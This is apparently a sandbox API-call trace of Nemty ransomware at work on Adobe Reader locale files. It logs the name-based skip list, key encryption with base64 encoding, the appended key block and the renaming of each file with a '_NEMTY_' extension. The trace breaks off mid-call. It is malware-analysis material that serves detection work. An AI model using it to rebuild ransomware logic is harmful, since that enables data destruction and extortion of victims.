[0175.046] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.DEU", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.DEU", lpUsedDefaultChar=0x0) returned 13 [0175.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.046] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.DEU", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.046] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.DEU", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.DEU", lpUsedDefaultChar=0x0) returned 13 [0175.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0175.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.046] Sleep (dwMilliseconds=0x5) [0175.061] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bfdcaf0, dwHighDateTime=0x1d561e8)) [0175.061] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bfdcaf0, dwHighDateTime=0x1d561e8)) [0175.061] GetLastError () returned 0x0 [0175.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.061] GetLastError () returned 0x0 [0175.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.061] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.061] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.061] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.061] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="6Vh5loLjv7mCkqFgMKxQ0BZ5R6vKvTCvUB5LzVJJAcEak22IDfp02CEegyRGlxsL\r\nxe/fzyvTyZ/s9qUrN5lKctp1TQ8Nn0E8UwKEaS2mWlsEB1td1LQ4pzHyZxlRxOoE\r\nx4HG9qqElcJNstr86sMOzioQMEwMpPZIUtIff6E2Fft9PclxMeEKcTRzrb8hN76P\r\noQH410cCY2ZjdmvMsfwRpegS6DpFlv4EV1EM659QDYQl6Mdhh8p7Rl4sEwo8z0/n\r\nvbv5TN626vIq3O9p+sWAZHqssH+pnBLGoT1JrcOSFvBqrbhxwP5GFj+BobUtcbMM\r\n5/N7HbZl+HKV16GLHnfwYg==\r\n", pcchString=0x653e5dc) returned 1 [0175.061] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.062] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\BRdlang32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\brdlang32.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.062] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=13824) returned 1 [0175.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3600) returned 0x6352c48 [0175.063] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.063] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3600, lpOverlapped=0x0) returned 1 [0175.065] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.065] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3600, lpOverlapped=0x0) returned 1 [0175.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.065] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=13824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3600 [0175.065] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.065] CloseHandle (hObject=0x2e8) returned 1 [0175.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0175.066] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0175.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.066] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\BRdlang32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\brdlang32.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\BRdlang32.DEU._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\brdlang32.deu._nemty_kgobjgd_")) returned 1 [0175.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0175.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.066] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.066] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bca280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fe00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Checkers.DEU", cAlternateFileName="")) returned 1 [0175.066] lstrcmpiW (lpString1="Checkers.DEU", lpString2=".") returned 1 [0175.066] lstrcmpiW (lpString1="Checkers.DEU", lpString2="..") returned 1 [0175.066] lstrcmpiW (lpString1="Checkers.DEU", lpString2="...") returned 1 [0175.066] lstrcmpiW (lpString1="Checkers.DEU", lpString2="windows") returned -1 [0175.066] lstrcmpiW (lpString1="Checkers.DEU", lpString2="$RECYCLE.BIN") returned 1 [0175.066] lstrcmpiW (lpString1="Checkers.DEU", lpString2="rsa") returned -1 [0175.066] lstrcmpiW (lpString1="Checkers.DEU", lpString2="NTDETECT.COM") returned -1 [0175.067] lstrcmpiW (lpString1="Checkers.DEU", lpString2="ntldr") returned -1 [0175.067] lstrcmpiW (lpString1="Checkers.DEU", lpString2="MSDOS.SYS") returned -1 [0175.067] lstrcmpiW (lpString1="Checkers.DEU", lpString2="IO.SYS") returned -1 [0175.067] lstrcmpiW (lpString1="Checkers.DEU", lpString2="boot.ini") returned 1 [0175.067] lstrcmpiW (lpString1="Checkers.DEU", lpString2="boot.ini") returned 1 [0175.067] lstrcmpiW (lpString1="Checkers.DEU", lpString2="AUTOEXEC.BAT") returned 1 [0175.067] lstrcmpiW (lpString1="Checkers.DEU", lpString2="ntuser.dat") returned -1 [0175.067] lstrcmpiW (lpString1="Checkers.DEU", lpString2="desktop.ini") returned -1 [0175.067] lstrcmpiW (lpString1="Checkers.DEU", lpString2="CONFIG.SYS") returned -1 [0175.067] lstrcmpiW (lpString1="Checkers.DEU", lpString2="RECYCLER") returned -1 [0175.067] lstrcmpiW (lpString1="Checkers.DEU", lpString2="BOOTSECT.BAK") returned 1 [0175.067] lstrcmpiW (lpString1="Checkers.DEU", lpString2="bootmgr") returned 1 [0175.067] lstrcmpiW (lpString1="Checkers.DEU", lpString2="programdata") returned -1 [0175.067] lstrcmpiW (lpString1="Checkers.DEU", lpString2="appdata") returned 1 [0175.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.067] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.DEU", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.067] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.DEU", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.DEU", lpUsedDefaultChar=0x0) returned 12 [0175.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.067] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.DEU", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.067] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.DEU", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.DEU", lpUsedDefaultChar=0x0) returned 12 [0175.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.067] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.DEU", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.067] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.DEU", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.DEU", lpUsedDefaultChar=0x0) returned 12 [0175.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.067] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.DEU", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.067] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.DEU", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.DEU", lpUsedDefaultChar=0x0) returned 12 [0175.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.068] Sleep (dwMilliseconds=0x5) [0175.079] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c002c50, dwHighDateTime=0x1d561e8)) [0175.079] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c002c50, dwHighDateTime=0x1d561e8)) [0175.079] GetLastError () returned 0x0 [0175.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.079] GetLastError () returned 0x0 [0175.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.079] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.079] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.079] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.079] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="vpb4ETQxpl5E3XcfwQ868WrubsCx0g82c3mSc9R04wi1vG2c0t5RJA1yvSJuWcGN\r\n+Xmc17d8DgZGitvH8+lBcYaxZPSRyz2OzYV7BScBVTFtsOMQNzfhaN7gX5nhRKNm\r\njtJgZv05e+M8FQcvgN0/noUMhycqWiK3bW+ZyJKPwM3QcG5zheHiL8VTX02oyDue\r\nMOgCLzPh2x+rjWKTVwcIIdyPj8SXnIQSteZLThg/tmCp7I95BOZvbG47liSnoJld\r\n1LWNtR+aVd3tlpUTD/DztSmf7AO28PFAYpw2W4RDm7/JV9HGXgH01j76xpn/c1+M\r\npH/ke0a7gV6R3+cwFRkeDg==\r\n", pcchString=0x653e5dc) returned 1 [0175.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.080] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Checkers.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\checkers.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.080] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=130560) returned 1 [0175.080] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0175.081] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.081] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0175.089] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.089] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0175.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.089] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=130560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1fe00 [0175.090] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.090] CloseHandle (hObject=0x2e8) returned 1 [0175.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0175.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0175.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.090] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Checkers.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\checkers.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Checkers.DEU._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\checkers.deu._nemty_kgobjgd_")) returned 1 [0175.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0175.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.090] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.091] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DigSig.DEU", cAlternateFileName="")) returned 1 [0175.091] lstrcmpiW (lpString1="DigSig.DEU", lpString2=".") returned 1 [0175.091] lstrcmpiW (lpString1="DigSig.DEU", lpString2="..") returned 1 [0175.091] lstrcmpiW (lpString1="DigSig.DEU", lpString2="...") returned 1 [0175.091] lstrcmpiW (lpString1="DigSig.DEU", lpString2="windows") returned -1 [0175.091] lstrcmpiW (lpString1="DigSig.DEU", lpString2="$RECYCLE.BIN") returned 1 [0175.091] lstrcmpiW (lpString1="DigSig.DEU", lpString2="rsa") returned -1 [0175.091] lstrcmpiW (lpString1="DigSig.DEU", lpString2="NTDETECT.COM") returned -1 [0175.091] lstrcmpiW (lpString1="DigSig.DEU", lpString2="ntldr") returned -1 [0175.091] lstrcmpiW (lpString1="DigSig.DEU", lpString2="MSDOS.SYS") returned -1 [0175.091] lstrcmpiW (lpString1="DigSig.DEU", lpString2="IO.SYS") returned -1 [0175.091] lstrcmpiW (lpString1="DigSig.DEU", lpString2="boot.ini") returned 1 [0175.091] lstrcmpiW (lpString1="DigSig.DEU", lpString2="boot.ini") returned 1 [0175.091] lstrcmpiW (lpString1="DigSig.DEU", lpString2="AUTOEXEC.BAT") returned 1 [0175.091] lstrcmpiW (lpString1="DigSig.DEU", lpString2="ntuser.dat") returned -1 [0175.091] lstrcmpiW (lpString1="DigSig.DEU", lpString2="desktop.ini") returned 1 [0175.091] lstrcmpiW (lpString1="DigSig.DEU", lpString2="CONFIG.SYS") returned 1 [0175.091] lstrcmpiW (lpString1="DigSig.DEU", lpString2="RECYCLER") returned -1 [0175.091] lstrcmpiW (lpString1="DigSig.DEU", lpString2="BOOTSECT.BAK") returned 1 [0175.091] lstrcmpiW (lpString1="DigSig.DEU", lpString2="bootmgr") returned 1 [0175.091] lstrcmpiW (lpString1="DigSig.DEU", lpString2="programdata") returned -1 [0175.091] lstrcmpiW (lpString1="DigSig.DEU", lpString2="appdata") returned 1 [0175.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.091] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.DEU", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.091] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.DEU", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.DEU", lpUsedDefaultChar=0x0) returned 10 [0175.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.091] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.DEU", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 